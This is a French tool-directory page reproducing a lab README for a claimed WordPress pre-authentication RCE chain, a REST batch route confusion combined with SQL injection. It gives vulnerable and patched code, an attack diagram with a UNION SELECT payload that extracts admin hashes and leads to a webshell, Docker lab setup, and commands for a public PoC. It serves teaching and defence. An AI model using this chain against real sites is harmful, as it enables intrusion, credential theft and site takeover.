Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2026-63030-lab — wp2shell (CVE-2026-63030 & CVE-2026-60137) - chaîne RCE complète | Kitploit
Outils/GitHubGitHub/mhassani97/cve-2026-63030-lab
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebApprentissage et ÉducationLabs et Pratique
GitHubmhassani97/cve-2026-63030-lab

cve-2026-63030-lab

wp2shell (CVE-2026-63030 & CVE-2026-60137) - chaîne RCE complète

Voir le dépôt
1il y a 4 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-63030 — wp2shell Lab

RCE dans le noyau WordPress sans authentification préalable via une confusion de routes batch de l'API REST + injection SQL

WordPress CVE CVSS License

Télécharger l’outil

Aperçu

wp2shell est une chaîne de deux bugs individuellement peu graves dans le noyau WordPress qui, combinés, permettent à un attaquant distant non authentifié de :

  1. Atteindre un sink d'injection SQL sans identifiants
  2. Extraire le hash du mot de passe de l'administrateur depuis la base de données
  3. Créer un nouveau compte administrateur
  4. Téléverser un webshell et obtenir une exécution de code à distance (RCE) complète
PropriétéDétail
CVECVE-2026-63030 + CVE-2026-60137
CVSS9.8 Critique
Authentification requiseAucune (pré-authentification)
Vecteur d'attaqueRéseau
Versions concernéesWordPress 6.9.0–6.9.4 et 7.0.0–7.0.1
Versions corrigées6.9.5 et 7.0.2 (publiées le 17 juillet 2026)

Les deux bugs

CVE-2026-63030 — Confusion de routes batch de l'API REST

Fichier : wp-includes/rest-api/class-wp-rest-server.php

serve_batch_request_v1() maintient deux tableaux parallèles : $matches[] pour les gestionnaires de routes et $validation[] pour les résultats. Lorsqu'une sous-requête échoue avec une WP_Error (chemin invalide), elle est ajoutée à $validation[] mais pas à $matches[]. Cela crée un décalage d'indice de +1 — la sous-requête i est traitée avec le gestionnaire de la sous-requête i+1.

root@kitploit:~
// VULNERABLE (7.0.1)
if ( is_wp_error( $route ) ) {
    $responses[] = envelope();
    continue; // $matches[] NOT pushed ← BUG
}

// PATCHED (7.0.2)
if ( is_wp_error( $route ) ) {
    $matches[]   = null; // ← FIX: keeps arrays in sync
    $responses[] = envelope();
    continue;
}

CVE-2026-60137 — Injection SQL dans WP_Query

Fichier : wp-includes/class-wp-query.php

Le paramètre author__not_in attend un tableau d'entiers. Lorsqu'une chaîne lui est passée, implode() concatène la valeur brute directement dans la clause SQL WHERE — sans échappement, sans paramétrage.

root@kitploit:~
// VULNERABLE (7.0.1)
$where .= ' NOT IN (' . implode(',', $q['author__not_in']) . ')';

// PATCHED (7.0.2)
$safe   = implode(',', array_map('absint', (array) $q['author__not_in']));
$where .= " NOT IN ($safe)";

Chaîne d'attaque

root@kitploit:~
Unauthenticated Attacker
        │
        ▼
POST /?rest_route=/batch/v1          ← Outer batch
  sub-req 0: "///"   → WP_Error → index shift (+1)
  sub-req 1: POST /wp/v2/posts       ← dispatched under BATCH handler
  sub-req 2: POST /batch/v1          ← dummy
        │
        │  [Confusion #1 active]
        ▼
Inner batch (body of sub-req 1)      ← schema never validated
  inner 0: "///"    → index shift (+1)
  inner 1: GET /wp/v2/posts?author_exclude=<PAYLOAD>
           dispatched under posts get_items()
        │
        │  [Confusion #2 active]
        ▼
WP_Query: author__not_in = raw string
        │
        ▼
SQL: NOT IN (0) UNION SELECT 999999,...,HEX(user_pass),...
        │
        ▼
title.rendered = "||1|admin|$wp$2y$10$...<hash>...||"
        │
        ▼
Crack hash  OR  crack-free oEmbed technique
        │
        ▼
POST /wp/v2/users → new admin → plugin upload → webshell → RCE

Configuration du lab

Prérequis

OutilTéléchargement
Docker Desktop (Windows / macOS)https://www.docker.com/products/docker-desktop
Docker Engine (Linux)https://docs.docker.com/engine/install
Githttps://git-scm.com/downloads
Burp Suite Community (facultatif)https://portswigger.net/burp/communitydownload

Étape 1 — Cloner le dépôt

root@kitploit:~
git clone https://github.com/YOUR_USERNAME/cve-2026-63030-lab
cd cve-2026-63030-lab

Vous verrez ces fichiers :

root@kitploit:~
cve-2026-63030-lab/
├── docker-compose.yml     ← defines WordPress + MySQL containers
├── Dockerfile             ← custom image with Apache fix + wp-cli
├── init.sh                ← configures permalink after install
└── fix-htaccess.ps1       ← Windows helper (run if Apache returns 404)

Étape 2 — Construire et démarrer le lab

root@kitploit:~
docker compose up -d --build

Cela va :

  • Construire l'image WordPress 7.0.1 personnalisée (prend ~1 à 2 min au premier lancement)
  • Démarrer un conteneur de base de données MySQL 8.0
  • Exposer WordPress sur http://localhost:9090

Vérifiez que les deux conteneurs sont en cours d'exécution :

root@kitploit:~
docker compose ps

Sortie attendue :

root@kitploit:~
NAME              STATUS
wp2shell-lab      running
wp2shell-db       running

Étape 3 — Terminer l'installation de WordPress

Ouvrez http://localhost:9090 dans votre navigateur et renseignez :

ChampValeur suggérée
Titre du siteCVE-2026-63030
Nom d'utilisateuradmin
Mot de passen'importe quel mot de passe
E-mail[email protected]

Cliquez sur Installer WordPress, puis connectez-vous.


Étape 4 — Activer le routage de l'API REST (requis)

Exécutez cette commande une fois après l'installation :

Linux / macOS :

root@kitploit:~
docker exec wp2shell-lab bash -c "
  wp rewrite structure '/%postname%/' --allow-root --path=/var/www/html &&
  wp rewrite flush --allow-root --path=/var/www/html
"

Windows PowerShell :

root@kitploit:~
docker exec wp2shell-lab bash -c "wp rewrite structure '/%postname%/' --allow-root --path=/var/www/html && wp rewrite flush --allow-root --path=/var/www/html"

Sortie attendue :

root@kitploit:~
Success: Rewrite structure set.
Success: Rewrite rules flushed.

Étape 5 — Corriger .htaccess (Windows uniquement, si vous obtenez une 404 sur l'API REST)

root@kitploit:~
.\fix-htaccess.ps1

Étape 6 — Vérifier que le lab est prêt

root@kitploit:~
curl -s http://localhost:9090/wp-json/ | python3 -m json.tool | head -5

Si vous voyez une réponse JSON avec "namespaces" — le lab est prêt.


Démontage

root@kitploit:~
# Stop and remove everything including database
docker compose down -v

Exploitation (PoC)

⚠️ Uniquement pour la recherche en sécurité et l'éducation autorisées. À n'utiliser que contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test.

La chaîne d'exploitation complète (détection → SQLi → création d'un administrateur → webshell → RCE) est implémentée dans :

github.com/Icex0/wp2shell-poc

root@kitploit:~
git clone https://github.com/Icex0/wp2shell-poc
cd wp2shell-poc
pip install -r requirements.txt

# Step 1: Detection only (non-destructive)
python wp2shell.py check http://localhost:9090

# Step 2: Read database — extract users and hashes
python wp2shell.py read --preset users http://localhost:9090

Le correctif

Trois fichiers, moins de 10 lignes de PHP :

FichierModification
class-wp-rest-server.phpPlaceholder $matches[] = null pour garder les tableaux synchronisés
class-wp-query.phpTranstypage (array) + array_map('absint', ...)
class-wp-rest-posts-controller.phpMême assainissement au niveau de la couche REST

Mettez à jour vers WordPress 6.9.5 ou 7.0.2 pour corriger.


Références

RessourceLien
Avis de sécurité GitHub (CVE-2026-63030)GHSA-ff9f-jf42-662q
Avis de sécurité GitHub (CVE-2026-60137)GHSA-fpp7-x2x2-2mjf
PoC publichttps://github.com/Icex0/wp2shell-poc

Fait avec ❤️ par Black Security Team

Website Telegram LinkedIn

Ce dépôt est destiné uniquement à des fins éducatives et de recherche en sécurité autorisée. Ne testez pas des systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation écrite explicite.